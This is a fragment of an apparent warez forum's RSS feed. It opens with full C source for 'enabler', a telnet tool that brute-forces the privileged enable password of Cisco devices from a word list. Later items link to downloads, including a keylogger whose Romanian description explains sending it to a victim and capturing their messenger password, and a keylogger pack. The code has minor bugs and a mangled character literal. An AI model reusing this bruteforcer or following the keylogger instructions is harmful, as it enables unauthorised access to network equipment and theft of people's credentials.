&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; beho x la traduzione :)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;norby <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; saluti a *lei*, saluti a gabriella che a capodanno <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; non ha voluto lasciare il ragazzo x fare un bambino con me ;) <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; saluti a tutti gli avatar, a sandman, a tutte le diecimila <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; persone che conosco <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;any <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; saluti a Acida, storm&#92;, Raid <br />
<br />
 contact`&nbsp;&nbsp;&nbsp;&nbsp;norby - staff22@infinito.it&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;anyone - anyone@anyone.org <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;www.avatarcorp.org <br />
<br />
<br />
neural collapse _ i truly hope in this project <br />
<br />
v1 02/10/2k+1 <br />
todo for v2: use of threads, implement a passlist recovery <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(very simple feature)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
*/ <br />
<br />
<br />
<br />
#include &lt;stdio.h&gt; <br />
#include &lt;stdlib.h&gt; <br />
#include &lt;errno.h&gt; <br />
#include &lt;sys/socket.h&gt; <br />
#include &lt;netinet/in.h&gt; <br />
#include &lt;netdb.h&gt; <br />
#include &lt;signal.h&gt; <br />
<br />
#define BOX&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "3[0m3[34;1m[3[0m3[37;1m`3[0m3[34;1m]" <br />
<br />
struct sockaddr_in addr; <br />
char host[100]; <br />
struct hostent *hp; <br />
int sock_stat; <br />
<br />
int n,x; <br />
char **password; <br />
<br />
char resolve(char *inputhost) { <br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;int a,b,c,d; <br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;if (sscanf(inputhost,"%d.%d.%d.%d",&amp;a,&amp;b,&amp;c,&amp;d) !=4) { <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; hp = gethostbyname(inputhost); <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (hp == NULL) { printf("%s error on host resolving&#92;n3[0m&#92;n", BOX); exit(0); } <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sprintf(host,"%d.%d.%d.%d",(unsigned char)hp-&gt;h_addr_list[0][0], <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(unsigned char)hp-&gt;h_addr_list[0][1], <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(unsigned char)hp-&gt;h_addr_list[0][2], <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(unsigned char)hp-&gt;h_addr_list[0][3]); <br />
&nbsp;&nbsp;&nbsp;&nbsp;} <br />
&nbsp;&nbsp;&nbsp;&nbsp;else { strncpy(host,inputhost,100); } <br />
} <br />
&nbsp;&nbsp;<br />
int sock(char *hostoresolve,int port) { <br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;int err; <br />
&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;sock_stat = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); <br />
&nbsp;&nbsp;&nbsp;&nbsp;if(sock_stat&lt;0) { printf("%s error opening socket&#92;n3[0m&#92;n", BOX); exit(0); } <br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;addr.sin_family = PF_INET; <br />
&nbsp;&nbsp;&nbsp;&nbsp;addr.sin_port = htons(port); <br />
&nbsp;&nbsp;&nbsp;&nbsp;addr.sin_addr.s_addr = inet_addr(host); <br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;err = connect(sock_stat, (struct sockaddr *) &amp;addr, sizeof(addr)); <br />
&nbsp;&nbsp;&nbsp;&nbsp;if (err &lt; 0) { printf("%s error opening connection&#92;n3[0m&#92;n", BOX); exit(0); } <br />
} <br />
<br />
int banner() { <br />
&nbsp;&nbsp;&nbsp;&nbsp;printf("&#92;n%s enabler.&#92;n", BOX); <br />
&nbsp;&nbsp;&nbsp;&nbsp;printf("%s&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cisco internal bruteforcer. concept by anyone&#92;n", BOX); <br />
&nbsp;&nbsp;&nbsp;&nbsp;printf("%s&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; coded by norby&#92;n", BOX); <br />
} <br />
int usage(char *argv) { printf("%s usage: %s &lt;ip&gt; [-u user] &lt;pass&gt; &lt;passlist&gt; [port]&#92;n&#92;n3[0m", BOX, argv); } <br />
<br />
void sig() { <br />
&nbsp;&nbsp;&nbsp;&nbsp; if(n&gt;0) { printf("%s %i passwords tryed. no password matching. leaving&#92;n",BOX,n); } <br />
&nbsp;&nbsp;&nbsp;&nbsp; printf("&#92;n3[0m"); exit(0); <br />
} <br />
<br />
int login(char *login, char *pass) { <br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;char *input = malloc(4000); <br />
&nbsp;&nbsp;&nbsp;&nbsp;int reqlogin; <br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;while (read (sock_stat, input, 4000) &gt; 0) {&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp; if(strstr(input,"ogin:")||strstr(input,"sername:")) { <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(!strcmp(login,"n0login")) { <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf("%s username needed... give me a username next time :)&#92;n&#92;n3[0m", BOX); <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(0); <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf("%s login requested. sending [%s] and [%s]&#92;n", BOX, login, pass); reqlogin=1; break; <br />
&nbsp;&nbsp;&nbsp;&nbsp; } <br />
&nbsp;&nbsp;&nbsp;&nbsp; if(strstr(input,"assword:")) { printf("%s only password needed. sending [%s]&#92;n", BOX, pass); reqlogin=0; break; } <br />
&nbsp;&nbsp;&nbsp;&nbsp; bzero(input,4000); <br />
&nbsp;&nbsp;&nbsp;&nbsp;} <br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;if(reqlogin==1) { <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;write(sock_stat,login,strlen(login)); <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;write(sock_stat,"&#92;r&#92;n",2); <br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while(read(sock_stat,input,4000)&gt;0) { <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(strstr(input,"assword")); { break; } <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} <br />
&nbsp;&nbsp;&nbsp;&nbsp;} <br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;write(sock_stat,pass,strlen(pass)); <br />
&nbsp;&nbsp;&nbsp;&nbsp;write(sock_stat,"&#92;r&#92;n",2); <br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;sleep(2); <br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;bzero(input,4000); <br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;while (read (sock_stat, input, 4000) &gt; 0) { <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(strstr(input,"&gt;")) { printf("%s seems we are logged in :)&#92;n", BOX); break; } <br />
&nbsp;&nbsp;/*&nbsp;&nbsp;&nbsp;&nbsp;if(strstr(input,"assword:")) {&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf("%s sorry... [%s] is not a good password for login :?n3[0m&#92;n",BOX,pass); exit(0); <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}*/ <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(strstr(input,"sername:")) { <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf("%s sorry... [%s] is not a good password for login :?n3[0m&#92;n",BOX,pass); exit(0); <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;bzero(input,4000); <br />
&nbsp;&nbsp;&nbsp;&nbsp;} <br />
} <br />
<br />
int loadwordlist(char *list) { <br />
&nbsp;&nbsp;<br />
&nbsp;&nbsp; FILE&nbsp;&nbsp; *passlist; <br />
&nbsp;&nbsp; char&nbsp;&nbsp; buf[32], fake; <br />
&nbsp;&nbsp; int i,z; <br />
<br />
&nbsp;&nbsp; if ((passlist = fopen(list, "r")) == NULL) { <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf("%s sorry, unable to open the passlist [%s]&#92;n3[0m&#92;n", BOX,list); <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(0); <br />
&nbsp;&nbsp; } <br />
<br />
&nbsp;&nbsp; (void)fseek(passlist, 0L, SEEK_END);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // cazz questo e' uno smanettamento mentale&nbsp;&nbsp;<br />
&nbsp;&nbsp; password = malloc(ftell(passlist));&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// per fare allocare solo la memoria giusta x la passlist :P <br />
&nbsp;&nbsp; if(password == NULL) { <br />
&nbsp;&nbsp;&nbsp;&nbsp; printf("%s sorry, can't allocate memory for passlist. buy more ram or cut the passlist&#92;n3[0m&#92;n",BOX); <br />
&nbsp;&nbsp;&nbsp;&nbsp; exit(0); <br />
&nbsp;&nbsp; }&nbsp;&nbsp;<br />
<br />
&nbsp;&nbsp; (void)fseek(passlist, 0L, SEEK_SET); <br />
<br />
&nbsp;&nbsp; while (!feof(passlist)) { <br />
&nbsp;&nbsp;&nbsp;&nbsp; fgets(buf, 32, passlist); <br />
&nbsp;&nbsp;&nbsp;&nbsp; if (buf[0] == '#' || buf[0] == '&#92;n') continue; <br />
&nbsp;&nbsp;&nbsp;&nbsp; for (i = 0; i &lt; strlen(buf); i++) <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (buf[i] == '&#92;n') buf[i] = '{rss:exploit}'; <br />
&nbsp;&nbsp;&nbsp;&nbsp; password[x] = malloc(32); <br />
&nbsp;&nbsp;&nbsp;&nbsp; strcpy(password[x], buf); <br />
&nbsp;&nbsp;&nbsp;&nbsp; memset(buf, 0, 32); <br />
&nbsp;&nbsp;&nbsp;&nbsp; x++; <br />
&nbsp;&nbsp; } <br />
&nbsp;&nbsp; password[x] = 0x0; <br />
&nbsp;&nbsp; fclose(passlist); <br />
&nbsp;&nbsp; if(x&lt;4) { printf("%s sorry, but passlist must contain at least 3 passwords. leaving &#92;n3[0m&#92;n",BOX); exit(0); } <br />
<br />
} <br />
<br />
int brute() {&nbsp;&nbsp;// there is a stupid error... the last password is tryed 2 times... must be fixed... ;)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp; char *input = malloc(100); <br />
&nbsp;&nbsp; int N; <br />
<br />
&nbsp;&nbsp; bzero(input,100); <br />
<br />
&nbsp;&nbsp; write(sock_stat,"enable",6); <br />
&nbsp;&nbsp; write(sock_stat,"&#92;r&#92;n",2); <br />
<br />
<br />
&nbsp;&nbsp; while(1) { <br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp; while(read(sock_stat,input,100)&gt;0) { <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(n==x) { printf("%s %i passwords tried. no valid password found in the passlist&#92;n3[0m&#92;n",BOX,n-1); exit(0); } <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(n+1==x) break; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(strstr(input,"assword:")||strstr(input,"#")||strstr(input,"&gt;")) break; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bzero(input,100); <br />
&nbsp;&nbsp;&nbsp;&nbsp; } <br />
&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp; if(strstr(input,"#")) { printf("%s possible password found: %s&#92;n3[0m&#92;n",BOX,password[n-1]); exit(0); } <br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp; if(strstr(input,"assword:")) { <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; write(sock_stat,password[n],strlen(password[n])); <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; write(sock_stat,"&#92;r&#92;n",2); <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; n++; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bzero(input,100); <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(n&gt;1) printf("%s %s... wrong password&#92;n", BOX, password[n-2]); fflush(stdout); <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; continue; <br />
&nbsp;&nbsp;&nbsp;&nbsp; } <br />
&nbsp;&nbsp;&nbsp;&nbsp; if(strstr(input,"&gt;")) { <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; write(sock_stat,"enable&#92;r&#92;n",8); bzero(input,100); <br />
&nbsp;&nbsp;&nbsp;&nbsp; } <br />
&nbsp;&nbsp; } <br />
} <br />
<br />
int main(int argc, char *argv[]) { <br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;int port; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;signal(SIGINT, sig); <br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;banner(); <br />
&nbsp;&nbsp;&nbsp;&nbsp;if((argc&lt;=3)||(argc&gt;=8)) { usage(argv[0]); exit(0); } <br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;if(!strcmp(argv[2],"-u")) { <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(argc==6) { port=atoi("23"); } <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else { port=atoi(argv[6]); } // c'e' uno stupido errore qua di argc che nn ho voglia di trovare <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // c'ho cosetta nella testa :?-- Corretto :) <br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf("%s&#92;n",BOX); <br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;loadwordlist(argv[5]); <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;resolve(argv[1]); <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sock(host, port); <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;login(argv[3],argv[4]); <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;brute(); <br />
&nbsp;&nbsp;&nbsp;&nbsp;} <br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;else { <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(argc==4) { port=atoi("23"); } <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else { port=atoi(argv[4]); } <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf("%s&#92;n",BOX); <br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;loadwordlist(argv[3]); <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;resolve(argv[1]); <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sock(host, port); <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;login("n0login",argv[2]); <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;brute(); <br />
&nbsp;&nbsp;&nbsp;&nbsp;} <br />
}<br />
<br />
]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[America Online 8 Kit]]></title>
			<link>http://warez4ever.3x.ro/showthread.php?tid=38</link>
			<pubDate>Sat, 20 Oct 2007 21:40:26 +0000</pubDate>
			<guid isPermaLink="false">http://warez4ever.3x.ro/showthread.php?tid=38</guid>
			<description><![CDATA[Download :<br />
<br />
Cod:<br />
http://rapidshare.com/files/32321924/AOL_8_Kit.zip.html<br />
<br />
]]></description>
			<content:encoded><![CDATA[Download :<br />
<br />
Cod:<br />
http://rapidshare.com/files/32321924/AOL_8_Kit.zip.html<br />
<br />
]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Digital Keylogger by Nytro]]></title>
			<link>http://warez4ever.3x.ro/showthread.php?tid=37</link>
			<pubDate>Sat, 20 Oct 2007 21:14:25 +0000</pubDate>
			<guid isPermaLink="false">http://warez4ever.3x.ro/showthread.php?tid=37</guid>
			<description><![CDATA[<br />
<br />
Info : <br />
Un Keylogger foarte usor de folosit . Trimiti server victimei , intri in client , scri la Victim IP ip-ul victimei si dai Connect . E necesar ca vitima sa execute server si ca IP sa fie corect . Si daca Status este : Connected functioneaza . Ca sa incepi keyloggingul apesi Start Keylogging . O sa iti apara in client tot ce scrie victima . Si ai optiunea Close Y! Messenger . Click pe buton si o sa-i inchizi messu . Victima repede o sa intre pe mess ca nu poate sta 5 min fara mess ... si i-ai luat parola de la mess <br />
<br />
Download :<br />
<br />
Cod:<br />
http://www.coolfilehost.biz/424Digital%20Keylogger%20by%20Nytro.rar<br />
<br />
]]></description>
			<content:encoded><![CDATA[<br />
<br />
Info : <br />
Un Keylogger foarte usor de folosit . Trimiti server victimei , intri in client , scri la Victim IP ip-ul victimei si dai Connect . E necesar ca vitima sa execute server si ca IP sa fie corect . Si daca Status este : Connected functioneaza . Ca sa incepi keyloggingul apesi Start Keylogging . O sa iti apara in client tot ce scrie victima . Si ai optiunea Close Y! Messenger . Click pe buton si o sa-i inchizi messu . Victima repede o sa intre pe mess ca nu poate sta 5 min fara mess ... si i-ai luat parola de la mess <br />
<br />
Download :<br />
<br />
Cod:<br />
http://www.coolfilehost.biz/424Digital%20Keylogger%20by%20Nytro.rar<br />
<br />
]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Pack Keyloggers 2007]]></title>
			<link>http://warez4ever.3x.ro/showthread.php?tid=15</link>
			<pubDate>Fri, 19 Oct 2007 12:55:44 +0000</pubDate>
			<guid isPermaLink="false">http://warez4ever.3x.ro/showthread.php?tid=15</guid>
			<description><![CDATA[Contine : <br />
<br />
Cod:<br />
Perfect Keylogger 1.6.2 <br />
Keylogger King Pro 3.3 <br />
KeyLogger 3.0 <br />
Perfect Keylogger Lite 1.15 <br />
Sys Keylog 1.0 <br />
SC-Keylog Pro 3.1 <br />
Stealth Keylogger 3.1 <br />
KidLogger 1.4 <br />
Ardamax Keylogger 2.41<br />
<br />
<br />
Download : <br />
<br />
Cod:<br />
http://rapidshare.com/files/63415870/pack.rar<br />
<br />
]]></description>
			<content:encoded><![CDATA[Contine : <br />
<br />
Cod:<br />
Perfect Keylogger 1.6.2 <br />
Keylogger King Pro 3.3 <br />
KeyLogger 3.0 <br />
Perfect Keylogger Lite 1.15 <br />
Sys Keylog 1.0 <br />
SC-Keylog Pro 3.1 <br />
Stealth Keylogger 3.1 <br />
KidLogger 1.4 <br />
Ardamax Keylogger 2.41<br />
<br />
<br />
Download : <br />
<br />
Cod:<br />
http://rapidshare.com/files/63415870/pack.rar<br />
<br />
]]></content:encoded>
		</item>
	</channel>
</rss>